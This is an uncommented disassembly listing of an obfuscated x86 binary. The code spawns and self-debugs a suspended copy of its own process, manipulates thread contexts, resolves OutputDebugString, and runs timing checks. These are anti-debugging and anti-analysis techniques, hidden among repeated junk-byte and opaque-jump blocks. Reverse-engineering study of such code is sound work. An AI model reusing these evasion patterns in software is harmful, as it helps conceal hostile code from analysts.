loc_4B9666: ; CODE XREF: .text:loc_4B96DDj
mov [ebp-19E8h], eax
mov edx, [ebp-19E4h]
shl edx, 8
mov eax, [ebp-19E0h]
shl eax, 10h
mov ecx, [ebp-19ECh]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-19E8h]
xor ecx, dword_4ED41C
xor ecx, dword_4ED424
xor ecx, dword_4ED3EC
xor ecx, dword_4ED428
xor ecx, dword_4ED3AC
mov edx, [ebp-4Ch]
mov eax, dword_4F474C
mov [eax+edx*4], ecx
jmp loc_4B9315
; ---------------------------------------------------------------------------
loc_4B96BF: ; CODE XREF: .text:004B932Aj
pusha
xor eax, eax
jnz short loc_4B96C6
jmp short loc_4B96DB
; ---------------------------------------------------------------------------
loc_4B96C6: ; CODE XREF: .text:004B96C2j
jmp short loc_4B96FB
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4B96CD: ; CODE XREF: .text:loc_4B96DBj
jo short loc_4B96DD
jmp short near ptr loc_4B96DD+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4B96DB: ; CODE XREF: .text:004B96C4j
jz short loc_4B96CD
loc_4B96DD: ; CODE XREF: .text:loc_4B96CDj
; .text:004B96CFj
jmp short loc_4B9666
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:45C76133h
mov eax, 0
jmp short loc_4B96F7
; ---------------------------------------------------------------------------
loc_4B96EE: ; CODE XREF: .text:004B9741j
mov ecx, [ebp-48h]
add ecx, 1
mov [ebp-48h], ecx
loc_4B96F7: ; CODE XREF: .text:004B96ECj
mov edx, [ebp-48h]
; ---------------------------------------------------------------------------
db 3Bh
; ---------------------------------------------------------------------------
loc_4B96FB: ; CODE XREF: .text:loc_4B96C6j
adc eax, offset dword_4F4768
jge short loc_4B9743
mov eax, [ebp-48h]
mov ecx, dword_4F4770
mov dword ptr [ecx+eax*4], 0FFFFFFFFh
mov edx, [ebp-48h]
mov eax, dword_4F4774
mov dword ptr [eax+edx*4], 0
mov ecx, [ebp-48h]
mov edx, dword_4F4778
mov dword ptr [edx+ecx*4], 0FFFFFFFFh
mov eax, [ebp-48h]
mov ecx, dword_4F4748
mov dword ptr [ecx+eax*4], 0
jmp short loc_4B96EE
; ---------------------------------------------------------------------------
loc_4B9743: ; CODE XREF: .text:004B9700j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B9766
loc_4B9763: ; CODE XREF: .text:004B9784j
jmp short near ptr loc_4B9786+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9766: ; CODE XREF: .text:004B9761j
xor ebx, ebx
jz short $+2
jmp short loc_4B9779
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B976F: ; CODE XREF: .text:004B977Bj
; .text:loc_4B97E7j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B977D
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9779: ; CODE XREF: .text:004B976Aj
xor eax, eax
jz short loc_4B976F
loc_4B977D: ; CODE XREF: .text:004B9776j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B9763
loc_4B9786: ; CODE XREF: .text:loc_4B9763j
jmp near ptr 92B234ECh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, dword_4F4768
sar edx, 1
add edx, 1
mov dword_4ED840, edx ; CODE XREF: .text:004B980Cj
xor eax, eax
mov al, byte_4F4742
test eax, eax
jnz short loc_4B97F1
jo short loc_4B97B4
jl short loc_4B97B2
loc_4B97AF: ; CODE XREF: .text:loc_4B97B2j
; .text:loc_4B97B4j
jmp short loc_4B97B6
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B97B2: ; CODE XREF: .text:004B97ADj
jz short loc_4B97AF
loc_4B97B4: ; CODE XREF: .text:004B97ABj
jmp short loc_4B97AF
; ---------------------------------------------------------------------------
loc_4B97B6: ; CODE XREF: .text:loc_4B97AFj
cmp dword_4ED840, 6
jnb short loc_4B97C9
mov dword_4ED840, 6
loc_4B97C9: ; CODE XREF: .text:004B97BDj
pusha
xor eax, eax
jnz short loc_4B97D0
jmp short loc_4B97E5
; ---------------------------------------------------------------------------
loc_4B97D0: ; CODE XREF: .text:004B97CCj
jmp short loc_4B9805
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B97D7: ; CODE XREF: .text:loc_4B97E5j
jo short loc_4B97E7
jmp short near ptr loc_4B97E7+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4B97E5: ; CODE XREF: .text:004B97CEj
jz short loc_4B97D7
loc_4B97E7: ; CODE XREF: .text:loc_4B97D7j
; .text:004B97D9j
jmp short near ptr loc_4B976F+1
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:62EB6133h
loc_4B97F1: ; CODE XREF: .text:004B97A9j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B9828 ; CODE XREF: .text:loc_4B9828j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B9800: ; CODE XREF: .text:004B9821j
jmp short loc_4B981F
; ---------------------------------------------------------------------------
loc_4B9802: ; CODE XREF: .text:loc_4B981Fj
xor ecx, ecx
; ---------------------------------------------------------------------------
db 74h
; ---------------------------------------------------------------------------
loc_4B9805: ; CODE XREF: .text:loc_4B97D0j
add bl, ch
adc cl, bh ; CODE XREF: .text:004B981Cj
xor ecx, 3
jz short near ptr loc_4B979A+4
jmp short loc_4B9815
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B9811: ; CODE XREF: .text:loc_4B9815j
jmp short loc_4B9823
; ---------------------------------------------------------------------------
db 74h
db 0EFh
; ---------------------------------------------------------------------------
loc_4B9815: ; CODE XREF: .text:004B980Ej
jnb short loc_4B9811
repne sbb bl, bl
xor ebx, ebx
jmp short near ptr loc_4B9807+1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B981F: ; CODE XREF: .text:loc_4B9800j
jmp short loc_4B9802
; ---------------------------------------------------------------------------
jmp short loc_4B9800
; ---------------------------------------------------------------------------
loc_4B9823: ; CODE XREF: .text:loc_4B9811j
repne sbb al, 0DBh
jmp short loc_4B982B
; ---------------------------------------------------------------------------
loc_4B9828: ; CODE XREF: .text:004B97FBj
jmp short near ptr loc_4B97FB+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B982B: ; CODE XREF: .text:004B9826j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
cmp dword_4ED840, 12h
jnb short loc_4B9848
mov dword_4ED840, 12h
loc_4B9848: ; CODE XREF: .text:004B983Cj
jo short loc_4B9851
jl short loc_4B984F
loc_4B984C: ; CODE XREF: .text:loc_4B984Fj
; .text:loc_4B9851j
jmp short loc_4B9853
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B984F: ; CODE XREF: .text:004B984Aj
jz short loc_4B984C
loc_4B9851: ; CODE XREF: .text:loc_4B9848j
jmp short loc_4B984C
; ---------------------------------------------------------------------------
loc_4B9853: ; CODE XREF: .text:loc_4B984Cj
push offset aKernel32_0 ; "Kernel32"
call dword_4ED07C ; LoadLibraryA
mov [ebp-30h], eax
push offset aOutputdebugstr ; "OutputDebugStringA"
mov ecx, [ebp-30h]
push ecx
call dword_4ED074 ; GetProcAddress
mov [ebp-44h], eax
push offset aOutputdebugs_0 ; "OutputDebugStringW"
mov edx, [ebp-30h]
push edx
call dword_4ED074 ; GetProcAddress
mov [ebp-1Ch], eax
mov eax, dword_4ED3DC
xor eax, dword_4ED3FC
xor eax, dword_4ED3F0
and eax, 2
test eax, eax
jz short loc_4B98A2
call sub_4B3AA2
loc_4B98A2: ; CODE XREF: .text:004B989Bj
lea ecx, [ebp-100h]
mov dword_4F4750, ecx
xor edx, edx
mov dl, byte_4F4780
test edx, edx
jnz loc_4B99AC
lea eax, [ebp-470h]
push eax
call dword_4ED094 ; GetStartupInfoA
mov cl, byte_4F4120
mov [ebp-574h], cl
mov ecx, 40h
xor eax, eax
lea edi, [ebp-573h]
rep stosd
stosw
stosb
mov dl, byte_4F4120
mov [ebp-42Ch], dl
mov ecx, 40h
xor eax, eax
lea edi, [ebp-42Bh]
rep stosd
stosw
stosb
mov eax, [ebp+8]
and eax, 0FFh
test eax, eax
jz short loc_4B9940
cmp dword ptr [ebp-464h], 0
jnz short loc_4B9940
lea ecx, [ebp-574h]
push ecx
call sub_4B72D0
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4B9940
lea edx, [ebp-574h]
mov [ebp-464h], edx
loc_4B9940: ; CODE XREF: .text:004B9911j
; .text:004B991Aj ...
push 104h
lea eax, [ebp-42Ch]
push eax
push 0
call dword_4ED1C4 ; GetModuleFileNameA
test eax, eax
jnz short loc_4B995F
xor al, al
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4B995F: ; CODE XREF: .text:004B9956j
mov ecx, dword_4F4750
push ecx
lea edx, [ebp-470h]
push edx
push 0
push 0
push 4
push 1
push 0
push 0
call dword_4ED090 ; GetCommandLineA
push eax
lea eax, [ebp-42Ch]
push eax
call dword_4ED08C ; CreateProcessA
test eax, eax
jnz short loc_4B9998
xor al, al
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4B9998: ; CODE XREF: .text:004B998Fj
mov ecx, [ebp-0F8h]
push ecx
call sub_4B4581
add esp, 4
jmp loc_4B9A96
; ---------------------------------------------------------------------------
loc_4B99AC: ; CODE XREF: .text:004B98B8j
lea edx, [ebp-7C0h]
push edx
call dword_4ED0FC ; GetStartupInfoW
mov ax, word_4F4124
mov [ebp-9C8h], ax
mov ecx, 81h
xor eax, eax
lea edi, [ebp-9C6h]
rep stosd
stosw
mov cx, word_4F4124
mov [ebp-77Ch], cx
mov ecx, 81h
xor eax, eax
lea edi, [ebp-77Ah]
rep stosd
stosw
mov edx, [ebp+8]
and edx, 0FFh
test edx, edx
jz short loc_4B9A30
cmp dword ptr [ebp-7B4h], 0
jnz short loc_4B9A30
lea eax, [ebp-9C8h]
push eax
call sub_4B735F
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4B9A30
lea ecx, [ebp-9C8h]
mov [ebp-7B4h], ecx
loc_4B9A30: ; CODE XREF: .text:004B9A01j
; .text:004B9A0Aj ...
push 104h
lea edx, [ebp-77Ch]
push edx
push 0
call dword_4ED1BC ; GetModuleFileNameW
test eax, eax
jnz short loc_4B9A4F
xor al, al
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4B9A4F: ; CODE XREF: .text:004B9A46j
mov eax, dword_4F4750
push eax
lea ecx, [ebp-7C0h]
push ecx
push 0
push 0
push 4
push 1
push 0
push 0
call dword_4ED0F8 ; GetCommandLineW
push eax
lea edx, [ebp-77Ch]
push edx
call dword_4ED0F4 ; CreateProcessW
test eax, eax
jnz short loc_4B9A87
xor al, al
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4B9A87: ; CODE XREF: .text:004B9A7Ej
mov eax, [ebp-0F8h]
push eax
call sub_4B4581
add esp, 4
loc_4B9A96: ; CODE XREF: .text:004B99A7j
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp-0F0h], eax
mov ecx, [ebp-0F0h]
mov edx, [ebp-0F0h]
add edx, [ecx+3Ch]
mov [ebp-20Ch], edx
push 0
call dword_4ED050 ; GetModuleHandleA
mov ecx, [ebp-20Ch]
add eax, [ecx+28h]
mov [ebp-40h], eax
push 0
call dword_4ED050 ; GetModuleHandleA
mov edx, [ebp-20Ch]
sub eax, [edx+34h]
mov [ebp-3Ch], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B9B04
loc_4B9B01: ; CODE XREF: .text:004B9B22j
jmp short near ptr loc_4B9B24+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9B04: ; CODE XREF: .text:004B9AFFj
xor ebx, ebx
jz short $+2
jmp short loc_4B9B17
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4B9B0D: ; CODE XREF: .text:004B9B19j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B9B1B
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9B17: ; CODE XREF: .text:004B9B08j
xor eax, eax
jz short loc_4B9B0D
loc_4B9B1B: ; CODE XREF: .text:004B9B14j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B9B01
loc_4B9B24: ; CODE XREF: .text:loc_4B9B01j
jmp near ptr 92B2388Ah
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-40h]
push eax
push 1
mov ecx, dword_4F4750
push ecx
call loc_4BDCE9
add esp, 0Ch
mov edx, [ebp-40h]
push edx
mov eax, dword_4F4750
push eax
call sub_4BDF17
add esp, 8
mov ecx, dword_4F4750
mov edx, [ecx+4]
push edx
call dword_4ED0F0 ; ResumeThread
mov eax, dword_4F4750
mov ecx, [eax+8] ; CODE XREF: .text:004B9BD8j
push ecx
call dword_4ED0EC ; DebugActiveProcess
mov [ebp-20h], eax
mov edx, dword_4F4750
mov eax, [edx+4]
push eax
call dword_4ED1C8 ; SuspendThread
mov ecx, [ebp-40h]
push ecx
push 0
mov edx, dword_4F4750
push edx
call loc_4BDCE9
add esp, 0Ch
mov eax, dword_4F4750
mov ecx, [eax+4]
push ecx
mov edx, dword_4F4750
mov eax, [edx+0Ch]
push eax
call sub_4BDB47
add esp, 8
mov dword ptr [ebp-34h], 0
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B9BF4 ; CODE XREF: .text:loc_4B9BF4j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B9BCC: ; CODE XREF: .text:004B9BEDj
jmp short loc_4B9BEB
; ---------------------------------------------------------------------------
loc_4B9BCE: ; CODE XREF: .text:loc_4B9BEBj
xor ecx, ecx
loc_4B9BD0: ; CODE XREF: .text:004B9BDFj
jz short $+2
jmp short loc_4B9BE4
; ---------------------------------------------------------------------------
loc_4B9BD4: ; CODE XREF: .text:004B9BE8j
stc
xor ecx, 3
jz short near ptr loc_4B9B69+1
jmp short loc_4B9BE1
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B9BDD: ; CODE XREF: .text:loc_4B9BE1j
jmp short loc_4B9BEF
; ---------------------------------------------------------------------------
jz short loc_4B9BD0
loc_4B9BE1: ; CODE XREF: .text:004B9BDAj
jnb short loc_4B9BDD
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B9BE4: ; CODE XREF: .text:004B9BD2j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B9BD4
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B9BEB: ; CODE XREF: .text:loc_4B9BCCj
jmp short loc_4B9BCE
; ---------------------------------------------------------------------------
jmp short loc_4B9BCC
; ---------------------------------------------------------------------------
loc_4B9BEF: ; CODE XREF: .text:loc_4B9BDDj
repne sbb al, 0DBh
jmp short loc_4B9BF7
; ---------------------------------------------------------------------------
loc_4B9BF4: ; CODE XREF: .text:004B9BC7j
jmp short near ptr loc_4B9BC7+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B9BF7: ; CODE XREF: .text:004B9BF2j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
lea ecx, [ebp-34h]
push ecx
push 0
mov edx, dword_4F4750
mov eax, [edx]
push eax
push offset sub_4B78A3
push 0
push 0
call dword_4ED02C ; CreateThread
push eax
call dword_4ED0E8 ; CloseHandle
mov ecx, [ebp+8]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B9C39
call dword_4ED064 ; FreeConsole
loc_4B9C39: ; CODE XREF: .text:004B9C31j
mov byte ptr [ebp-210h], 1
mov byte ptr [ebp-0E8h], 0
mov byte ptr [ebp-0E4h], 0
loc_4B9C4E: ; CODE XREF: .text:004BC11Aj
push offset dword_4F45B0
call dword_4ED1B4 ; InitializeCriticalSection
mov dword ptr [ebp-4], 0
lea edx, [ebp-0A2Ch]
mov [ebp-0A30h], edx
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B9C8F
loc_4B9C8C: ; CODE XREF: .text:004B9CADj
jmp short near ptr loc_4B9CAF+1
; ---------------------------------------------------------------------------
byte_4B9C8E db 0EBh ; CODE XREF: .text:loc_4B9D05j
; ---------------------------------------------------------------------------
loc_4B9C8F: ; CODE XREF: .text:004B9C8Aj
xor ebx, ebx
jz short $+2
jmp short loc_4B9CA2
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B9C98: ; CODE XREF: .text:004B9CA4j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B9CA6
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9CA2: ; CODE XREF: .text:004B9C93j
xor eax, eax
jz short loc_4B9C98
loc_4B9CA6: ; CODE XREF: .text:004B9C9Fj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B9C8C
loc_4B9CAF: ; CODE XREF: .text:loc_4B9C8Cj
jmp near ptr 92B23A15h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov byte ptr [ebp-9CCh], 1
jo short loc_4B9CC8
jl short loc_4B9CC6
loc_4B9CC3: ; CODE XREF: .text:loc_4B9CC6j
; .text:loc_4B9CC8j
jmp short loc_4B9CCA
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B9CC6: ; CODE XREF: .text:004B9CC1j
jz short loc_4B9CC3
loc_4B9CC8: ; CODE XREF: .text:004B9CBFj
jmp short loc_4B9CC3
; ---------------------------------------------------------------------------
loc_4B9CCA: ; CODE XREF: .text:loc_4B9CC3j
; .text:004BC0E2j
mov eax, dword_4F4750
mov ecx, [eax]
push ecx
call sub_4B7C87
add esp, 4
and eax, 0FFh
test eax, eax
jz loc_4BC0E7
pusha
xor eax, eax
jnz short loc_4B9CEE
jmp short loc_4B9D03
; ---------------------------------------------------------------------------
loc_4B9CEE: ; CODE XREF: .text:004B9CEAj
jmp short loc_4B9D23
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4B9CF5: ; CODE XREF: .text:loc_4B9D03j
jo short loc_4B9D05
jmp short near ptr loc_4B9D05+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh ; CODE XREF: .text:loc_4B9D72j
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4B9D03: ; CODE XREF: .text:004B9CECj
jz short loc_4B9CF5
loc_4B9D05: ; CODE XREF: .text:loc_4B9CF5j
; .text:004B9CF7j
jmp short near ptr byte_4B9C8E
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 3E86861h, 958B0000h, 0FFFFF5D0h, 0E415FF52h
dd 85004ED0h
; ---------------------------------------------------------------------------
ror byte ptr [edi], 84h
loc_4B9D23: ; CODE XREF: .text:loc_4B9CEEj
mov ebx, 8B000023h
test esi, eax
std
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
jmp large dword ptr ds:0FFh
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4B9D49
mov ecx, dword_4F4764
cmp dword ptr [ecx+20h], 0
jz short loc_4B9D49
mov byte ptr [ebp-210h], 0
loc_4B9D49: ; CODE XREF: .text:004B9D34j
; .text:004B9D40j
push offset dword_4F45B0
call dword_4ED1A8 ; RtlEnterCriticalSection
pusha
xor eax, eax
jnz short loc_4B9D5B
jmp short loc_4B9D70
; ---------------------------------------------------------------------------
loc_4B9D5B: ; CODE XREF: .text:004B9D57j
jmp short loc_4B9D90
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4B9D62: ; CODE XREF: .text:loc_4B9D70j
jo short loc_4B9D72
jmp short near ptr loc_4B9D72+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4B9D70: ; CODE XREF: .text:004B9D59j
jz short loc_4B9D62
loc_4B9D72: ; CODE XREF: .text:loc_4B9D62j
; .text:004B9D64j
jmp short near ptr byte_4B9CF9+2
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 958B6133h, 0FFFFF5D0h, 4F4750A1h, 44A8B00h
dd 0F08483Bh, 232785h
; ---------------------------------------------------------------------------
loc_4B9D90: ; CODE XREF: .text:loc_4B9D5Bj
add [ebx-9CB6Bh], cl
inc dword ptr [ecx+0FFE2h]
add [ebp-7CC48B2Eh], al
cmp eax, offset dword_4F4760
add [esi+32h], dh
mov eax, dword_4ED3B0
xor eax, dword_4ED3FC
xor eax, dword_4ED3F0
and eax, 8
test eax, eax
jz short loc_4B9DDC
call dword_4ED03C ; GetTickCount
sub eax, dword_4F4760
cmp eax, 493E0h ; CODE XREF: .text:loc_4B9E48j
jbe short loc_4B9DDC
mov byte ptr [ebp-9CCh], 0
loc_4B9DDC: ; CODE XREF: .text:004B9DC0j
; .text:004B9DD3j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B9E13 ; CODE XREF: .text:loc_4B9E13j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B9DEB: ; CODE XREF: .text:004B9E0Cj
jmp short loc_4B9E0A
; ---------------------------------------------------------------------------
loc_4B9DED: ; CODE XREF: .text:loc_4B9E0Aj
xor ecx, ecx
loc_4B9DEF: ; CODE XREF: .text:004B9DFEj
jz short $+2
jmp short loc_4B9E03
; ---------------------------------------------------------------------------
loc_4B9DF3: ; CODE XREF: .text:004B9E07j
stc
xor ecx, 3
jz short near ptr dword_4B9D74+15h
jmp short loc_4B9E00
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B9DFC: ; CODE XREF: .text:loc_4B9E00j
jmp short loc_4B9E0E
; ---------------------------------------------------------------------------
jz short loc_4B9DEF
loc_4B9E00: ; CODE XREF: .text:004B9DF9j
jnb short loc_4B9DFC
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B9E03: ; CODE XREF: .text:004B9DF1j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B9DF3
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B9E0A: ; CODE XREF: .text:loc_4B9DEBj
jmp short loc_4B9DED
; ---------------------------------------------------------------------------
jmp short loc_4B9DEB
; ---------------------------------------------------------------------------
loc_4B9E0E: ; CODE XREF: .text:loc_4B9DFCj
repne sbb al, 0DBh
jmp short loc_4B9E16
; ---------------------------------------------------------------------------
loc_4B9E13: ; CODE XREF: .text:004B9DE6j
jmp short near ptr loc_4B9DE6+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B9E16: ; CODE XREF: .text:004B9E11j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov dword ptr [ebp-0A34h], 80010001h
pusha
xor eax, eax
jnz short loc_4B9E31
jmp short loc_4B9E46
; ---------------------------------------------------------------------------
loc_4B9E31: ; CODE XREF: .text:004B9E2Dj
jmp short loc_4B9E66
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4B9E38: ; CODE XREF: .text:loc_4B9E46j
jo short loc_4B9E48
jmp short near ptr loc_4B9E48+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4B9E4F
loc_4B9E46: ; CODE XREF: .text:004B9E2Fj
jz short loc_4B9E38
loc_4B9E48: ; CODE XREF: .text:loc_4B9E38j
; .text:004B9E3Aj
jmp short near ptr loc_4B9DCE+3
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4B9E4F: ; CODE XREF: .text:004B9E44j
popa
mov ecx, [ebp-0A30h]
cmp dword ptr [ecx], 1
jnz loc_4BB66F
jo short loc_4B9E68
jl short loc_4B9E66
loc_4B9E63: ; CODE XREF: .text:loc_4B9E66j
; .text:loc_4B9E68j
jmp short loc_4B9E6A
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B9E66: ; CODE XREF: .text:loc_4B9E31j
; .text:004B9E61j
jz short loc_4B9E63
loc_4B9E68: ; CODE XREF: .text:004B9E5Fj
jmp short loc_4B9E63
; ---------------------------------------------------------------------------
loc_4B9E6A: ; CODE XREF: .text:loc_4B9E63j
mov edx, [ebp-0A30h]
mov eax, [edx+0Ch]
xor eax, dword_4ED418
mov [ebp-0A38h], eax
xor ecx, ecx
mov cl, byte_4F4741
test ecx, ecx
jz loc_4BA55D
mov edx, dword_4ED418
xor edx, 80000001h
cmp [ebp-0A38h], edx
jnz loc_4BA55D
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh ; CODE XREF: .text:loc_4B9F2Dj
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B9ECA
loc_4B9EC7: ; CODE XREF: .text:004B9EE8j
jmp short near ptr loc_4B9EEA+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9ECA: ; CODE XREF: .text:004B9EC5j
xor ebx, ebx
jz short $+2
jmp short loc_4B9EDD
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B9ED3: ; CODE XREF: .text:004B9EDFj
mov ecx, 34F9C987h
nop
stc
jz short loc_4B9EE1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9EDD: ; CODE XREF: .text:004B9ECEj
xor eax, eax
jz short loc_4B9ED3
loc_4B9EE1: ; CODE XREF: .text:004B9EDAj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B9EC7
loc_4B9EEA: ; CODE XREF: .text:loc_4B9EC7j
jmp near ptr 92B23C50h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-0A30h]
mov ecx, [eax+24h]
mov [ebp-0A48h], ecx
cmp dword_4F476C, 0
jnz loc_4BA07D
pusha
xor eax, eax
jnz short loc_4B9F16
jmp short loc_4B9F2B
; ---------------------------------------------------------------------------
loc_4B9F16: ; CODE XREF: .text:004B9F12j
jmp short loc_4B9F4B
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4B9F1D: ; CODE XREF: .text:loc_4B9F2Bj
jo short loc_4B9F2D
jmp short near ptr loc_4B9F2D+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4B9F2B: ; CODE XREF: .text:004B9F14j
jz short loc_4B9F1D
loc_4B9F2D: ; CODE XREF: .text:loc_4B9F1Dj
; .text:004B9F1Fj
jmp short near ptr loc_4B9EB5+1
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:0CC686133h
add al, [eax]
add [edx+0], ch
lea edx, [ebp-0D14h]
push edx
call _memset_0
add esp, 0Ch
loc_4B9F4B: ; CODE XREF: .text:loc_4B9F16j
mov dword ptr [ebp-0D14h], 10001h
lea eax, [ebp-0D14h]
push eax
mov ecx, dword_4F4750
mov edx, [ecx+4]
push edx
call dword_4ED0E0 ; GetThreadContext
test eax, eax
loc_4B9F6E: ; DATA XREF: sub_493DB7+6o
; sub_493EDB+118o
jz loc_4BA07D
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B9F97
loc_4B9F94: ; CODE XREF: .text:004B9FB5j
jmp short near ptr loc_4B9FB7+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9F97: ; CODE XREF: .text:004B9F92j
xor ebx, ebx
jz short $+2
jmp short loc_4B9FAA
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B9FA0: ; CODE XREF: .text:004B9FACj
mov ecx, 34F9C987h
nop
stc
jz short loc_4B9FAE
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B9FAA: ; CODE XREF: .text:004B9F9Bj
xor eax, eax
jz short loc_4B9FA0
